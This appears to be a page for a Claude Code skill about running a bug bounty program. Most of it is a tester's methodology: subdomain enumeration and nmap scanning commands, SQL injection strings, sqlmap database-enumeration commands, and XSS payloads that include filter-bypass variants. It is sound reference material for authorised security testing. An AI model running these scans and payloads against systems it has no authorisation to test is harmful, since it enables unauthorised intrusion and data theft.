About

A Claude Code skill for creating and operating a bug bounty program, covering scope, disclosure policy, severity tiers, and triage of incoming reports. A solo builder reaches for it to invite external researchers to find vulnerabilities safely and to handle the resulting findings in an organized, defensible way.

  • Sets up a bug bounty program
  • Defines scope and severity tiers
  • Guides vulnerability triage

Методология тестирования

OWASP Top 10 Focus

1. Injection (SQL, NoSQL, LDAP, OS commands) 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting (XSS) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10. Insufficient Logging & Monitoring

Reconnaissance

Subdomain Enumeration

# Пассивное перечисление
amass enum -passive -d target.com -o subdomains.txt

# Активное перечисление
subfinder -d target.com -all -o subfinder.txt

# DNS брутфорс
gobuster dns -d target.com -w wordlist.txt -o gobuster.txt

# Объединение результатов
cat subdomains.txt subfinder.txt gobuster.txt | sort -u > all_subs.txt

Technology Stack Identification

# Wappalyzer CLI
wappalyzer https://target.com

# WhatWeb
whatweb -a 3 https://target.com

# Nuclei technology detection
nuclei -u https://target.com -t technologies/

Port Scanning

# Быстрое сканирование
nmap -sS -sV -O -p- --min-rate 1000 target.com -oA nmap_full

# Сканирование сервисов
nmap -sC -sV -p 80,443,8080,8443 target.com -oA nmap_services

SQL Injection Testing

Manual Detection

-- Error-based
' OR '1'='1
' AND '1'='2
' UNION SELECT NULL--

-- Time-based blind
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--

-- Boolean-based blind
' AND 1=1--
' AND 1=2--

SQLMap

# Basic injection test
sqlmap -u "https://target.com/page?id=1" --batch

# With authentication
sqlmap -u "https://target.com/page?id=1" --cookie="session=abc123" --batch

# POST data
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch

# Database enumeration
sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D dbname --tables --batch

XSS Testing

Payload Types

// Reflected XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

// DOM-based XSS
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>

// Bypass filters
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror="&#x61;lert('XSS')">
<svg/onload=alert('XSS')>

// Stored XSS via different contexts
"><script>alert('XSS')</script>
'-alert('XSS')-'
</title><script>alert('XSS')</script>

Context-Specific Payloads

// In HTML attribute
" onfocus=alert('XSS') autofocus="
' onfocus=alert('XSS') autofocus='

// In JavaScript string
';alert('XSS');//
"-alert('XSS')-"

// In URL parameter
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
